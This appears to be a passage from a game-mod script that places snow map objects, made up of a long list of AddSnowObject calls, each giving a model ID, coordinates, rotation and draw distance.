AddSnowObject(9135, 2851.820, 662.789, -39.617, 0.000, 0.000, 0.000, 324.6);
AddSnowObject(9136, 2482.020, 540.109, -48.062, 0.000, 0.000, 0.000, 331.1);
AddSnowObject(9137, 2988.850, 946.429, -34.968, 0.000, 0.000, 0.000, 232.7);
AddSnowObject(9138, 2994.129, 1191.189, -34.968, 0.000, 0.000, 0.000, 224.4);
AddSnowObject(9139, 2990.750, 1436.989, -34.968, 0.000, 0.000, 0.000, 231.5);
AddSnowObject(9140, 2991.820, 1677.819, -35.007, 0.000, 0.000, 0.000, 221.3);
AddSnowObject(9150, 2688.010, 1027.619, 6.187, 0.000, 0.000, 0.000, 207.5);
AddSnowObject(9173, 1924.890, 1580.930, 8.359, 0.000, 0.000, 0.000, 261.1);
AddSnowObject(9174, 1927.459, 1583.199, 8.273, 0.000, 0.000, 0.000, 259.5);
AddSnowObject(8496, 2377.389, 1743.229, 16.539, 0.000, 0.000, 0.000, 145.4);
AddSnowObject(8590, 2377.449, 1743.319, 21.945, 0.000, 0.000, 0.000, 144.3);
AddSnowObject(8534, 2492.540, 1527.939, 19.625, 0.000, 0.000, 0.000, 162.0);
AddSnowObject(8494, 2460.770, 1741.010, 15.023, 0.000, 0.000, 0.000, 132.2);
AddSnowObject(9054, 2561.620, 1761.790, 19.742, 0.000, 0.000, 0.000, 150.5);
AddSnowObject(8639, 2618.409, 1701.089, 19.742, 0.000, 0.000, 0.000, 182.4);
AddSnowObject(8668, 2594.379, 1884.699, 19.742, 0.000, 0.000, 0.000, 175.5);
AddSnowObject(8635, 2811.239, 1661.349, 9.820, 0.000, 0.000, 0.000, 130.8);
AddSnowObject(9164, 2826.909, 1661.349, 13.960, 0.000, 0.000, 0.000, 130.8);
AddSnowObject(9165, 2843.159, 1661.349, 13.960, 0.000, 0.000, 0.000, 130.8);
AddSnowObject(9033, 2783.219, 1684.329, 12.890, 0.000, 0.000, 0.000, 135.2);
AddSnowObject(9055, 2640.020, 1831.140, 18.671, 0.000, 0.000, 0.000, 162.9);
AddSnowObject(8982, 1985.859, 1356.579, 8.953, 0.000, 0.000, 0.000, 166.0);
AddSnowObject(8832, 1905.810, 1513.449, 10.078, 0.000, 0.000, -89.999, 142.0);
AddSnowObject(8833, 1908.300, 1515.569, 13.414, 0.000, 0.000, 0.000, 140.1);
AddSnowObject(9041, 1963.530, 1629.619, 22.343, 0.000, 0.000, 0.000, 162.7);
AddSnowObject(8493, 2001.140, 1555.099, 24.875, 0.000, 0.000, 0.000, 142.5);
AddSnowObject(9044, 1983.420, 1593.530, 15.757, 0.000, 0.000, 0.000, 131.6);
AddSnowObject(8484, 1978.439, 1619.819, 16.398, 0.000, 0.000, 0.000, 132.4);
AddSnowObject(9045, 1983.599, 1658.589, 13.445, 0.000, 0.000, 0.000, 139.2);
AddSnowObject(8834, 1999.800, 1618.770, 12.218, 0.000, 0.000, 0.000, 185.8);
AddSnowObject(8397, 2096.199, 1285.439, 19.898, 0.000, 0.000, 0.000, 135.5);
AddSnowObject(8826, 2057.389, 1422.829, 10.531, 0.000, 0.000, 0.000, 177.5);
AddSnowObject(8839, 2162.479, 1403.439, 14.656, 0.000, 0.000, 0.000, 178.0);
AddSnowObject(9046, 2117.840, 1683.079, 9.820, 0.000, 0.000, 0.000, 144.5);
AddSnowObject(8842, 2217.750, 1477.660, 31.679, 0.000, 0.000, 0.000, 156.4);
AddSnowObject(8504, 1917.349, 918.414, 13.875, 0.000, 0.000, 0.000, 141.1);
AddSnowObject(8505, 1853.040, 965.906, 13.875, 0.000, 0.000, 0.000, 141.5);
AddSnowObject(8506, 1853.020, 1083.199, 13.875, 0.000, 0.000, 0.000, 141.5);
AddSnowObject(8488, 1938.449, 1183.829, 17.843, 0.000, 0.000, 0.000, 214.0);
AddSnowObject(8509, 1987.349, 918.414, 13.875, 0.000, 0.000, 0.000, 131.4);
AddSnowObject(8828, 2057.389, 988.375, 8.742, 0.000, 0.000, 0.000, 211.5);
AddSnowObject(8827, 2057.389, 1192.589, 10.531, 0.000, 0.000, 0.000, 167.2);
AddSnowObject(9169, 2117.129, 923.445, 12.921, 0.000, 0.000, 0.000, 145.1);
AddSnowObject(8889, 2137.870, 1038.910, 10.359, 0.000, 0.000, 0.000, 178.2);
AddSnowObject(9078, 2117.800, 1150.709, 14.796, 0.000, 0.000, 0.000, 143.1);
AddSnowObject(8500, 2142.590, 1103.020, 21.796, 0.000, 0.000, 0.000, 199.5);
AddSnowObject(9080, 2144.949, 1129.989, 8.460, 0.000, 0.000, 0.000, 150.8);
AddSnowObject(9106, 2195.780, 933.234, 12.679, 0.000, 0.000, 0.000, 148.8);
AddSnowObject(8881, 2266.010, 1078.849, 44.023, 0.000, 0.000, 0.000, 173.7);
AddSnowObject(9020, 2590.979, 819.609, 10.000, 0.000, 0.000, 0.000, 144.0);
AddSnowObject(8559, 2597.389, 733.226, 10.570, 0.000, 0.000, 0.000, 185.5);
AddSnowObject(9029, 2766.729, 683.781, 11.710, 0.000, 0.000, 0.000, 159.9);
AddSnowObject(8869, 2637.260, 807.796, 10.859, 0.000, 0.000, 0.000, 183.5);
AddSnowObject(8870, 2679.060, 809.148, 16.921, 0.000, 0.000, 0.000, 146.9);
AddSnowObject(8872, 2688.020, 836.531, 7.812, 0.000, 0.000, 0.000, 132.6);
AddSnowObject(8871, 2637.260, 871.242, 10.773, 0.000, 0.000, 0.000, 190.7);
AddSnowObject(9030, 2766.729, 823.265, 12.968, 0.000, 0.000, 0.000, 180.4);
AddSnowObject(8432, 2387.389, 992.687, 13.820, 0.000, 0.000, 0.000, 143.6);
AddSnowObject(8516, 2387.389, 1033.719, 13.820, 0.000, 0.000, -0.000, 143.6);
AddSnowObject(8419, 2387.360, 1133.390, 21.531, 0.000, 0.000, 0.000, 159.1);
AddSnowObject(9031, 2766.729, 973.265, 12.968, 0.000, 0.000, 0.000, 150.5);
AddSnowObject(8545, 2867.979, 976.507, 14.742, 0.000, 0.000, -89.999, 136.4);
AddSnowObject(9171, 2637.659, 1103.000, 12.921, 0.000, 0.000, -0.000, 145.1);
AddSnowObject(8662, 2647.389, 1203.219, 10.679, 0.000, 0.000, 0.000, 150.0);
AddSnowObject(8404, 2467.389, 1223.229, 9.820, 0.000, 0.000, 0.000, 140.9);
AddSnowObject(8395, 2323.699, 1283.229, 52.968, 0.000, 0.000, 0.000, 203.1);
AddSnowObject(8405, 2457.389, 1343.229, 11.031, 0.000, 0.000, 0.000, 144.7);
AddSnowObject(8401, 2497.389, 1343.229, 12.484, 0.000, 0.000, 0.000, 132.7);
AddSnowObject(8495, 2397.389, 1423.219, 13.039, 0.000, 0.000, 0.000, 146.1);
AddSnowObject(9113, 2486.709, 1426.660, 16.281, 0.000, 0.000, 0.000, 158.5);
AddSnowObject(8528, 2521.489, 1416.030, 15.539, 0.000, 0.000, 0.000, 131.1);
AddSnowObject(8431, 2645.179, 1210.930, 18.515, 0.000, 0.000, -179.999, 134.2);
AddSnowObject(8402, 2575.510, 1223.229, 9.820, 0.000, 0.000, 0.000, 135.9);
AddSnowObject(8578, 2798.629, 1246.660, 17.109, 0.000, 0.000, -179.999, 133.4);
AddSnowObject(8409, 2577.389, 1283.229, 12.484, 0.000, 0.000, 0.000, 146.0);
AddSnowObject(8575, 2842.580, 1290.790, 16.140, 0.000, 0.000, 0.000, 155.5);
AddSnowObject(8434, 2575.919, 1429.589, 15.234, 0.000, 0.000, -0.000, 133.6);
AddSnowObject(9032, 2866.760, 1411.229, 12.867, 0.000, 0.000, 0.000, 172.3);
AddSnowObject(6863, 2462.689, 2287.590, 54.757, 0.000, 0.000, 0.000, 181.7);
AddSnowObject(6864, 2626.199, 2353.379, 8.695, 0.000, 0.000, 0.000, 210.7);
AddSnowObject(6866, 2448.020, 1833.229, 21.414, 0.000, 0.000, 0.000, 171.3);
AddSnowObject(6867, 2654.360, 2771.439, 38.148, 0.000, 0.000, 0.000, 201.0);
AddSnowObject(6869, 2222.409, 1923.229, 9.812, 0.000, 0.000, 0.000, 189.0);
AddSnowObject(6871, 2416.949, 2472.659, 39.140, 0.000, 0.000, 0.000, 160.4);
AddSnowObject(6873, 2053.020, 2403.219, 9.820, 0.000, 0.000, 0.000, 234.8);
AddSnowObject(6876, 2587.399, 1963.219, 9.875, 0.000, 0.000, 0.000, 172.7);
AddSnowObject(6877, 2717.379, 1953.229, 10.078, 0.000, 0.000, 0.000, 162.5);
AddSnowObject(6878, 2717.379, 2113.229, 10.078, 0.000, 0.000, 0.000, 162.4);
AddSnowObject(6879, 2387.399, 2623.219, 10.078, 0.000, 0.000, -0.000, 183.5);
AddSnowObject(6880, 2847.389, 2213.219, 9.742, 0.000, 0.000, 0.000, 241.3);
AddSnowObject(6881, 2817.399, 1983.219, 9.742, 0.000, 0.000, 0.000, 156.5);
AddSnowObject(6882, 2588.830, 2615.280, 7.851, 0.000, 0.000, 0.000, 281.7);
AddSnowObject(6883, 2355.010, 2383.219, 9.820, 0.000, 0.000, 0.000, 278.9);
AddSnowObject(6884, 2571.909, 2466.959, 6.914, 0.000, 0.000, 0.000, 220.6);
AddSnowObject(6885, 2272.389, 1833.219, 9.820, 0.000, 0.000, 0.000, 234.6);
AddSnowObject(6886, 2307.389, 2763.229, 9.742, 0.000, 0.000, 0.000, 303.4);
AddSnowObject(6887, 2127.399, 2453.219, 9.726, 0.000, 0.000, 0.000, 190.5);
AddSnowObject(6888, 2507.389, 1993.229, 9.742, 0.000, 0.000, 0.000, 150.9);
AddSnowObject(6897, 2664.889, 2203.209, 7.742, 0.000, 0.000, 0.000, 199.7);
AddSnowObject(6898, 2769.889, 2203.209, 7.820, 0.000, 0.000, 0.000, 204.5);
AddSnowObject(6899, 2769.889, 2023.250, 7.742, 0.000, 0.000, 0.000, 188.4);
AddSnowObject(6900, 2664.889, 2023.250, 7.820, 0.000, 0.000, 0.000, 188.4);
AddSnowObject(6912, 2172.040, 2692.179, 9.921, 0.000, 0.000, 0.000, 174.0);
AddSnowObject(6913, 2341.919, 2692.179, 9.921, 0.000, 0.000, 0.000, 196.2);
AddSnowObject(6914, 2497.090, 2621.090, 9.921, 0.000, 0.000, 0.000, 196.8);
AddSnowObject(6915, 2550.739, 2436.479, 9.921, 0.000, 0.000, 0.000, 208.2);
AddSnowObject(6916, 2782.899, 1899.699, 9.796, 0.000, 0.000, 0.000, 192.7);
AddSnowObject(6917, 2536.199, 2584.219, 7.656, 0.000, 0.000, 0.000, 167.0);
AddSnowObject(6944, 2834.689, 2502.250, 15.625, 0.000, 0.000, -44.999, 210.7);
AddSnowObject(6945, 2756.860, 2425.290, 9.804, 0.000, 0.000, 0.000, 205.5);
AddSnowObject(6948, 2717.659, 1863.199, 6.515, 0.000, 0.000, 0.000, 182.5);
AddSnowObject(6949, 2144.500, 2588.879, 6.226, 0.000, 0.000, 0.000, 190.5);
AddSnowObject(6950, 2444.550, 2611.770, 5.250, 0.000, 0.000, 0.000, 174.0);
AddSnowObject(6951, 2648.409, 2485.500, 5.789, 0.000, 0.000, 0.000, 181.1);
AddSnowObject(6952, 2717.659, 2193.510, 6.515, 0.000, 0.000, 0.000, 192.4);
AddSnowObject(6953, 2717.659, 2023.250, 6.515, 0.000, 0.000, 0.000, 182.6);
AddSnowObject(6955, 2587.979, 2273.229, 11.382, 0.000, 0.000, 0.000, 143.5);
AddSnowObject(6956, 2797.389, 2593.229, 9.757, 0.000, 0.000, 0.000, 206.2);
AddSnowObject(6957, 2818.979, 2401.790, 10.343, 0.000, 0.000, 0.000, 245.6);
AddSnowObject(6971, 2098.879, 2402.570, 9.820, 0.000, 0.000, 0.000, 157.2);
AddSnowObject(6974, 2134.340, 2306.179, 9.742, 0.000, 0.000, 0.000, 166.1);
AddSnowObject(6979, 2432.689, 2013.229, 9.820, 0.000, 0.000, 0.000, 171.2);
AddSnowObject(6981, 2775.239, 2017.670, 5.242, 0.000, 0.000, 0.000, 152.7);
AddSnowObject(6982, 2576.520, 2267.090, 3.484, 0.000, 0.000, 0.000, 165.5);
AddSnowObject(6983, 2643.770, 2182.270, 0.453, 0.000, 0.000, 0.000, 155.6);
AddSnowObject(6984, 2726.469, 2110.379, 1.710, 0.000, 0.000, 0.000, 161.6);
AddSnowObject(6988, 2247.229, 2080.239, 54.593, 0.000, 0.000, 0.000, 215.2);
AddSnowObject(6989, 2244.889, 2183.229, 9.820, 0.000, 0.000, 0.000, 217.6);
AddSnowObject(6990, 2432.729, 2003.229, 9.781, 0.000, 0.000, 0.000, 176.0);
AddSnowObject(6991, 2717.330, 2293.239, 10.078, 0.000, 0.000, 0.000, 162.7);
AddSnowObject(6999, 2442.729, 2133.229, 9.750, 0.000, 0.000, 0.000, 180.4);
AddSnowObject(7011, 2467.080, 2502.969, 31.875, 0.000, 0.000, 0.000, 207.9);
AddSnowObject(7013, 2433.449, 1873.020, 7.140, 0.000, 0.000, 0.000, 170.0);
AddSnowObject(7014, 2448.270, 1832.189, 10.820, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(7016, 2377.600, 1922.239, 10.820, 0.000, 0.000, 0.000, 140.9);
AddSnowObject(7017, 2422.629, 1963.130, 10.820, 0.000, 0.000, 0.000, 136.9);
AddSnowObject(7018, 2482.520, 1922.239, 10.820, 0.000, 0.000, 0.000, 143.7);
AddSnowObject(7022, 2289.729, 2745.580, 12.000, 0.000, 0.000, 0.000, 157.3);
AddSnowObject(7026, 2658.060, 2233.540, 9.421, 0.000, 0.000, 0.000, 153.3);
AddSnowObject(7028, 2634.610, 1995.020, 9.078, 0.000, 0.000, 0.000, 143.3);
AddSnowObject(7029, 2628.909, 2053.219, 9.460, 0.000, 0.000, 0.000, 154.1);
AddSnowObject(7030, 2613.639, 2154.080, 10.054, 0.000, 0.000, 0.000, 149.0);
AddSnowObject(7031, 2578.949, 2201.260, 10.671, 0.000, 0.000, 0.000, 147.0);
AddSnowObject(7036, 2567.389, 2093.229, 9.773, 0.000, 0.000, 0.000, 220.8);
AddSnowObject(7038, 2527.820, 2703.959, 10.820, 0.000, 0.000, 0.000, 132.2);
AddSnowObject(7041, 2341.719, 2513.250, 9.757, 0.000, 0.000, 0.000, 231.6);
AddSnowObject(7042, 2282.379, 1913.229, 9.742, 0.000, 0.000, 0.000, 185.6);
AddSnowObject(7043, 2188.830, 2320.899, 9.750, 0.000, 0.000, -29.999, 204.6);
AddSnowObject(7044, 2357.389, 2863.229, 9.820, 0.000, 0.000, 0.000, 295.5);
AddSnowObject(7045, 2597.389, 2863.229, 9.820, 0.000, 0.000, 0.000, 283.7);
AddSnowObject(7046, 2847.389, 2863.229, 9.820, 0.000, 0.000, 0.000, 311.0);
AddSnowObject(7047, 2847.389, 2623.229, 9.820, 0.000, 0.000, 0.000, 298.0);
AddSnowObject(7048, 2825.929, 2381.800, 7.843, 0.000, 0.000, 0.000, 330.8);
AddSnowObject(7049, 2857.379, 2138.449, 7.820, 0.000, 0.000, 0.000, 299.0);
AddSnowObject(7050, 2252.399, 1973.229, 9.820, 0.000, 0.000, 0.000, 239.0);
AddSnowObject(7051, 2857.399, 1903.589, 7.796, 0.000, 0.000, 0.000, 284.4);
AddSnowObject(7052, 2578.060, 2233.229, 9.750, 0.000, 0.000, 0.000, 141.8);
AddSnowObject(7053, 2247.389, 2143.229, 9.750, 0.000, 0.000, 0.000, 187.3);
AddSnowObject(7054, 2365.649, 2234.159, 9.757, 0.000, 0.000, 0.000, 241.2);
AddSnowObject(7055, 2285.439, 2326.129, 9.757, 0.000, 0.000, 0.000, 180.6);
AddSnowObject(7056, 2367.580, 2411.899, 9.757, 0.000, 0.000, 0.000, 240.3);
AddSnowObject(7057, 2228.770, 2443.840, 9.750, 0.000, 0.000, 0.000, 150.9);
AddSnowObject(7064, 2352.129, 1953.229, 9.726, 0.000, 0.000, 0.000, 192.1);
AddSnowObject(7069, 2247.389, 2022.170, 9.757, 0.000, 0.000, 0.000, 185.5);
AddSnowObject(7098, 2204.969, 2213.219, 9.703, 0.000, 0.000, 0.000, 211.7);
AddSnowObject(7099, 2117.389, 2380.919, 9.820, 0.000, 0.000, 0.000, 260.0);
AddSnowObject(7100, 2120.840, 2623.229, 7.890, 0.000, 0.000, 0.000, 252.5);
AddSnowObject(7101, 2117.389, 2863.229, 9.820, 0.000, 0.000, 0.000, 258.8);
AddSnowObject(7182, 2247.550, 2200.250, 22.335, 0.000, 0.000, 0.000, 208.2);
AddSnowObject(7183, 2247.550, 2200.250, 22.335, 0.000, 0.000, 0.000, 208.2);
AddSnowObject(7186, 2296.459, 2810.479, 15.875, 0.000, 0.000, 89.999, 155.0);
AddSnowObject(7192, 2405.120, 2752.389, 11.984, 0.000, 0.000, 0.000, 173.5);
AddSnowObject(7201, 2615.500, 2740.669, 85.718, 0.000, 0.000, 0.000, 255.1);
AddSnowObject(7202, 2797.389, 2563.110, 12.890, 0.000, 0.000, 0.000, 200.7);
AddSnowObject(7203, 2351.969, 2631.120, 7.859, 0.000, 0.000, 0.000, 278.0);
AddSnowObject(7217, 2587.520, 2138.449, 7.820, 0.000, 0.000, 0.000, 295.8);
AddSnowObject(7218, 2597.389, 1994.449, 8.226, 0.000, 0.000, 0.000, 189.4);
AddSnowObject(7240, 2626.199, 2353.379, 8.695, 0.000, 0.000, 0.000, 167.1);
AddSnowObject(7242, 2433.449, 1873.020, 7.140, 0.000, 0.000, 0.000, 198.1);
AddSnowObject(7292, 2797.389, 2562.659, 10.570, 0.000, 0.000, 0.000, 200.6);
AddSnowObject(7300, 2189.300, 2514.770, 29.648, 0.000, 0.000, 0.000, 185.5);
AddSnowObject(7304, 2918.790, 2361.530, 31.601, 0.000, 0.000, 0.000, 161.1);
AddSnowObject(7308, 2897.750, 2463.189, 28.007, 0.000, 0.000, 0.000, 131.9);
AddSnowObject(7320, 2350.929, 2143.229, 9.781, 0.000, 0.000, 0.000, 191.8);
AddSnowObject(7321, 2442.729, 2056.080, 9.781, 0.000, 0.000, 0.000, 175.7);
AddSnowObject(7324, 2527.330, 2313.590, 9.867, 0.000, 0.000, 0.000, 210.8);
AddSnowObject(7326, 2627.379, 2326.949, 9.898, 0.000, 0.000, 0.000, 139.4);
AddSnowObject(7327, 2638.060, 2263.229, 9.781, 0.000, 0.000, 0.000, 144.4);
AddSnowObject(7335, 2226.520, 2283.229, 9.757, 0.000, 0.000, 0.000, 155.9);
AddSnowObject(7336, 2425.909, 2326.090, 9.765, 0.000, 0.000, 0.000, 180.6);
AddSnowObject(7337, 2367.399, 2463.219, 9.757, 0.000, 0.000, 0.000, 141.2);
AddSnowObject(7347, 2956.409, 2111.389, -31.570, 0.000, 0.000, -89.999, 169.5);
AddSnowObject(7353, 2458.300, 2574.030, 7.570, 0.000, 0.000, 0.000, 186.1);
AddSnowObject(7355, 2701.270, 2362.409, 6.187, 0.000, 0.000, 0.000, 187.0);
AddSnowObject(7357, 2628.989, 2347.459, 6.523, 0.000, 0.000, 0.000, 250.8);
AddSnowObject(7359, 2678.270, 2148.330, 8.523, 0.000, 0.000, 0.000, 271.8);
AddSnowObject(7362, 2559.820, 2567.669, 4.851, 0.000, 0.000, 0.000, 180.4);
AddSnowObject(7364, 2298.590, 2615.510, 6.203, 0.000, 0.000, 0.000, 184.0);
AddSnowObject(7367, 2532.969, 2689.179, 12.898, 0.000, 0.000, 0.000, 182.8);
AddSnowObject(7368, 2557.010, 2821.899, 12.898, 0.000, 0.000, -89.999, 171.8);
AddSnowObject(7369, 2683.750, 2809.860, 12.898, 0.000, 0.000, 179.999, 182.2);
AddSnowObject(7370, 2725.709, 2689.469, 12.898, 0.000, 0.000, -179.999, 176.1);
AddSnowObject(7371, 2581.360, 2617.510, 9.804, 0.000, 0.000, 89.999, 166.4);
AddSnowObject(7383, 2847.389, 2093.219, 9.781, 0.000, 0.000, 0.000, 170.7);
AddSnowObject(7269, 2140.419, 2535.250, 12.734, 0.000, 0.000, 14.486, 149.6);
AddSnowObject(7200, 2110.750, 2650.520, 11.718, 0.000, 0.000, -89.999, 132.5);
AddSnowObject(6910, 2147.520, 2747.870, 14.609, 0.000, 0.000, -0.000, 148.0);
AddSnowObject(7387, 2178.010, 2799.070, 10.843, 0.000, 0.000, 0.000, 132.7);
AddSnowObject(7197, 2186.840, 2697.939, 12.890, 0.000, 0.000, -89.999, 171.5);
AddSnowObject(7094, 2230.179, 2548.510, 15.851, 0.000, 0.000, 0.000, 157.6);
AddSnowObject(6947, 2333.320, 2547.550, 15.890, 0.000, 0.000, 0.000, 157.3);
AddSnowObject(7204, 2333.320, 2547.550, 16.210, 0.000, 0.000, 0.000, 157.2);
AddSnowObject(7196, 2314.659, 2697.939, 12.890, 0.000, 0.000, -89.999, 164.1);
AddSnowObject(7020, 2379.889, 2760.729, 13.398, 0.000, 0.000, 0.000, 133.5);
AddSnowObject(7035, 2566.750, 1972.670, 14.593, 0.000, 0.000, 0.000, 147.0);
AddSnowObject(7027, 2557.379, 2083.229, 9.820, 0.000, 0.000, 0.000, 158.4);
AddSnowObject(7223, 2807.159, 2006.459, 11.468, 0.000, 0.000, -0.000, 142.0);
AddSnowObject(6919, 2808.070, 2002.520, 13.117, 0.000, 0.000, 179.999, 142.6);
AddSnowObject(6926, 2822.050, 2067.120, 12.976, 0.000, 0.000, 0.000, 143.7);
AddSnowObject(7224, 2843.090, 2075.530, 11.468, 0.000, 0.000, -0.000, 143.5);
AddSnowObject(6875, 2565.270, 2161.090, 9.820, 0.000, 0.000, 89.999, 135.1);
AddSnowObject(7234, 2504.669, 2292.709, 13.593, 0.000, 0.000, 0.000, 152.3);
AddSnowObject(6924, 2541.699, 2290.889, 13.468, 0.000, 0.000, -0.000, 137.7);
AddSnowObject(7032, 2807.989, 2203.620, 9.921, 0.000, 0.000, 0.000, 185.1);
AddSnowObject(7034, 2807.699, 2203.729, 10.570, 0.000, 0.000, 0.000, 185.6);
AddSnowObject(6994, 2204.510, 1833.219, 18.632, 0.000, 0.000, 0.000, 161.4);
AddSnowObject(7243, 2204.510, 1833.219, 18.632, 0.000, 0.000, 0.000, 199.9);
AddSnowObject(6997, 2291.409, 1935.109, 14.343, 0.000, 0.000, 0.000, 177.7);
AddSnowObject(3493, 2258.879, 1957.630, 27.968, 0.000, 0.000, 0.000, 134.8);
AddSnowObject(3493, 2258.879, 1957.630, 22.484, 0.000, 0.000, 0.000, 134.8);
AddSnowObject(3493, 2258.879, 1957.630, 17.007, 0.000, 0.000, 0.000, 134.8);
AddSnowObject(3493, 2258.879, 1957.630, 11.531, 0.000, 0.000, 0.000, 134.8);
AddSnowObject(3493, 2258.879, 1957.630, 33.445, 0.000, 0.000, 0.000, 134.8);
AddSnowObject(6977, 2205.810, 1990.270, 9.859, 0.000, 0.000, 0.000, 133.4);
AddSnowObject(6993, 2361.340, 1833.229, 40.335, 0.000, 0.000, 0.000, 185.6);
AddSnowObject(7012, 2402.229, 1891.589, 4.695, 0.000, 0.000, 0.000, 182.8);
AddSnowObject(7015, 2465.199, 1887.449, 17.625, 0.000, 0.000, 0.000, 146.7);
AddSnowObject(6907, 2380.729, 1993.229, 9.843, 0.000, 0.000, 0.000, 141.1);
AddSnowObject(7088, 2456.090, 2066.290, 13.015, 0.000, 0.000, 0.000, 152.1);
AddSnowObject(7389, 2464.250, 2030.959, 11.085, 0.000, 0.000, 0.000, 144.7);
AddSnowObject(7361, 2220.060, 2258.229, 11.546, 0.000, 0.000, 0.000, 159.2);
AddSnowObject(6985, 2442.389, 2093.229, 9.812, 0.000, 0.000, 0.000, 187.2);
AddSnowObject(6967, 2316.770, 2296.129, 11.117, 0.000, 0.000, 0.000, 156.5);
AddSnowObject(6872, 2372.330, 2287.969, 7.132, 0.000, 0.000, 0.000, 161.4);
AddSnowObject(6987, 2447.389, 2198.719, 9.812, 0.000, 0.000, 0.000, 192.5);
AddSnowObject(7089, 2468.530, 2225.729, 18.929, 0.000, 0.000, 0.000, 147.3);
AddSnowObject(6954, 2607.280, 2358.239, 28.156, 0.000, 0.000, 0.000, 190.9);
AddSnowObject(6966, 2458.300, 2386.699, 9.875, 0.000, 0.000, 0.000, 159.7);
AddSnowObject(7245, 2508.629, 2373.830, 6.703, 0.000, 0.000, 0.000, 144.1);
AddSnowObject(7210, 2551.449, 2364.419, 12.671, 0.000, 0.000, 0.000, 142.7);
AddSnowObject(7209, 2550.080, 2478.270, 12.671, 0.000, 0.000, 0.000, 155.8);
AddSnowObject(7198, 2465.409, 2697.939, 12.890, 0.000, 0.000, -89.999, 169.8);
AddSnowObject(6932, 2505.909, 2690.500, 43.734, 0.000, 0.000, 0.000, 134.4);
AddSnowObject(7102, 2514.590, 2822.949, 13.250, 0.000, 0.000, 0.000, 135.8);
AddSnowObject(7095, 2545.550, 2751.379, 11.960, 0.000, 0.000, 0.000, 167.3);
AddSnowObject(7172, 2546.030, 2828.729, 11.539, 0.000, 0.000, 0.000, 138.8);
AddSnowObject(6934, 2593.260, 2638.340, 61.921, 0.000, 0.000, 0.000, 152.4);
AddSnowObject(7238, 2592.260, 2660.449, 23.398, 0.000, 0.000, 0.000, 143.6);
AddSnowObject(6931, 2686.199, 2663.409, 23.476, 0.000, 0.000, 0.000, 138.0);
AddSnowObject(6928, 2729.439, 2685.629, 35.164, 0.000, 0.000, 0.000, 133.0);
AddSnowObject(7153, 2622.909, 2704.800, 30.539, 0.000, 0.000, 0.000, 157.2);
AddSnowObject(7229, 2629.219, 2742.989, 14.890, 0.000, 0.000, -89.999, 181.6);
AddSnowObject(7039, 2629.290, 2742.919, 10.820, 0.000, 0.000, -89.999, 173.1);
AddSnowObject(7104, 2706.449, 2762.909, 13.250, 0.000, 0.000, 0.000, 156.6);
AddSnowObject(6933, 2717.949, 2773.629, 43.734, 0.000, 0.000, 0.000, 134.4);
AddSnowObject(7103, 2579.120, 2826.879, 19.304, 0.000, 0.000, 0.000, 143.3);
AddSnowObject(7024, 2586.729, 2820.729, 14.179, 0.000, 0.000, 0.000, 155.5);
AddSnowObject(7236, 2692.070, 2784.899, 35.164, 0.000, 0.000, 0.000, 133.0);
AddSnowObject(7291, 2632.550, 2832.250, 75.671, 0.000, 0.000, 0.000, 152.4);
AddSnowObject(7344, 2817.580, 2956.379, -12.960, 0.000, 0.000, 0.000, 169.5);
AddSnowObject(6908, 2229.489, 2323.850, 15.539, 0.000, 0.000, 0.000, 159.5);
AddSnowObject(6973, 2097.870, 2398.219, 68.585, 0.000, 0.000, 0.000, 138.5);
AddSnowObject(3448, 2082.199, 2417.379, 40.039, 0.000, 0.000, 0.000, 148.0);
AddSnowObject(3448, 2082.199, 2417.379, 44.335, 0.000, 0.000, 0.000, 148.0);
AddSnowObject(3448, 2082.199, 2417.379, 48.640, 0.000, 0.000, 0.000, 148.0);
AddSnowObject(3448, 2082.199, 2417.379, 35.734, 0.000, 0.000, 0.000, 148.0);
AddSnowObject(3448, 2082.199, 2417.379, 31.437, 0.000, 0.000, 0.000, 148.0);
AddSnowObject(3448, 2082.199, 2417.379, 27.140, 0.000, 0.000, 0.000, 148.0);
AddSnowObject(3448, 2082.199, 2417.379, 22.835, 0.000, 0.000, 0.000, 148.0);
AddSnowObject(3448, 2082.199, 2417.379, 18.539, 0.000, 0.000, 0.000, 148.0);
AddSnowObject(3448, 2082.199, 2417.379, 14.234, 0.000, 0.000, 0.000, 148.0);
AddSnowObject(3448, 2082.199, 2417.379, 9.937, 0.000, 0.000, 0.000, 148.0);
AddSnowObject(6868, 2093.649, 2488.800, 9.820, 0.000, 0.000, 0.000, 170.1);
AddSnowObject(6909, 2205.629, 2474.969, 14.648, 0.000, 0.000, 0.000, 139.9);
AddSnowObject(6968, 2327.639, 2380.060, 11.117, 0.000, 0.000, 0.000, 138.4);
AddSnowObject(6969, 2391.199, 2379.729, 11.117, 0.000, 0.000, 0.000, 135.4);
AddSnowObject(7184, 2251.250, 2490.909, 11.898, 0.000, 0.000, 89.999, 154.8);
AddSnowObject(7213, 2265.699, 2466.790, 11.539, 0.000, 0.000, 0.000, 145.5);
AddSnowObject(7244, 2268.820, 2462.969, 0.679, 0.000, 0.000, 0.000, 165.3);
AddSnowObject(7009, 2326.840, 2463.510, 23.750, 0.000, 0.000, 0.000, 145.6);
AddSnowObject(7978, 1640.079, 1448.089, 27.921, 0.000, 0.000, -0.000, 185.0);
AddSnowObject(7982, 1583.979, 1379.420, 13.328, 0.000, 0.000, 0.000, 134.0);
AddSnowObject(7983, 1070.319, 1057.449, 32.742, 0.000, 0.000, 0.000, 239.4);
AddSnowObject(7984, 1707.390, 1206.609, 24.234, 0.000, 0.000, -0.000, 155.8);
AddSnowObject(7985, 1537.989, 1082.500, 14.414, 0.000, 0.000, 0.000, 146.7);
AddSnowObject(7987, 1647.390, 1743.229, 9.882, 0.000, 0.000, 0.000, 198.4);
AddSnowObject(7988, 1337.449, 1193.329, 9.781, 0.000, 0.000, 0.000, 160.9);
AddSnowObject(7989, 1487.449, 1143.270, 9.781, 0.000, 0.000, 0.000, 208.1);
AddSnowObject(7990, 1657.380, 1133.229, 9.781, 0.000, 0.000, 0.000, 180.6);
AddSnowObject(7991, 1587.349, 943.171, 9.781, 0.000, 0.000, 0.000, 198.5);
AddSnowObject(7992, 1217.410, 1193.170, 10.078, 0.000, 0.000, 0.000, 162.5);
AddSnowObject(7993, 1744.969, 1623.229, 7.742, 0.000, 0.000, 0.000, 188.4);
AddSnowObject(7994, 1002.080, 738.093, -8.734, 0.000, 0.000, 0.000, 198.8);
AddSnowObject(7995, 1784.680, 721.835, 12.335, 0.000, 0.000, 0.000, 206.9);
AddSnowObject(7996, 1637.390, 1616.150, 7.828, 0.000, 0.000, 0.000, 257.8);
AddSnowObject(7997, 1347.380, 1564.660, 7.851, 0.000, 0.000, 0.000, 249.6);
